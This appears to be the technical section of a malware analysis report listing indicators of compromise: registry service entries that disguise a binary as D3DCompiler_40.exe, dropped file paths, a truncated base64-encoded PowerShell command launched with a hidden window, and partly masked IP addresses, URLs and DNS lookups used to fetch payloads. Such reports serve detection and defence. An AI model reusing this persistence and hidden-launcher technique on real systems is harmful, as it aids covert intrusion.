Technical Information
- [<HKLM>\System\CurrentControlSet\Services\D3DCompiler_40] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\D3DCompiler_40] 'ImagePath' = '"%WINDIR%\SysWOW64\OobeFldr\D3DCompiler_40.exe"'
- 'D3DCompiler_40' "%WINDIR%\SysWOW64\OobeFldr\D3DCompiler_40.exe"
- 'D3DCompiler_40' %WINDIR%\SysWOW64\OobeFldr\D3DCompiler_40.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABBAHMAXwA4AHMAZQA2AD0AKAAnAEUAZAAnACsAJwByACcAKwAoACcAegBfADEAJwArACcAdAAnACkAKQA7ACQATgAwADkANAA5AHQAawA9ACQAUAA5ADAAOABiADcANgAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQ...
- %HOMEPATH%\h_73n2x\ozy4f9k\pg_kfrxls.exe
- %WINDIR%\syswow64\oobefldr\d3dcompiler_40.exe
- from %HOMEPATH%\h_73n2x\ozy4f9k\pg_kfrxls.exe to %WINDIR%\syswow64\oobefldr\d3dcompiler_40.exe
- '73.##0.19.104':80
- '10#.#.63.137':8080
- http://sy######s-consulting.com/blogs/FVX8XRa/
- http://10#.#.63.137:8080/dqvVFVMyrK/RGCzW/2AxvyRWk8/J5eSF/v3WPOXNy1db36b/ via 10#.#.63.137
- DNS ASK do####phongtam.com
- DNS ASK sy######s-consulting.com
- '%HOMEPATH%\h_73n2x\ozy4f9k\pg_kfrxls.exe'
- '%WINDIR%\syswow64\oobefldr\d3dcompiler_40.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABBAHMAXwA4AHMAZQA2AD0AKAAnAEUAZAAnACsAJwByACcAKwAoACcAegBfADEAJwArACcAdAAnACkAKQA7ACQATgAwADkANAA5AHQAawA9ACQAUAA5ADAAOABiADcANgAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQ...' (with hidden window)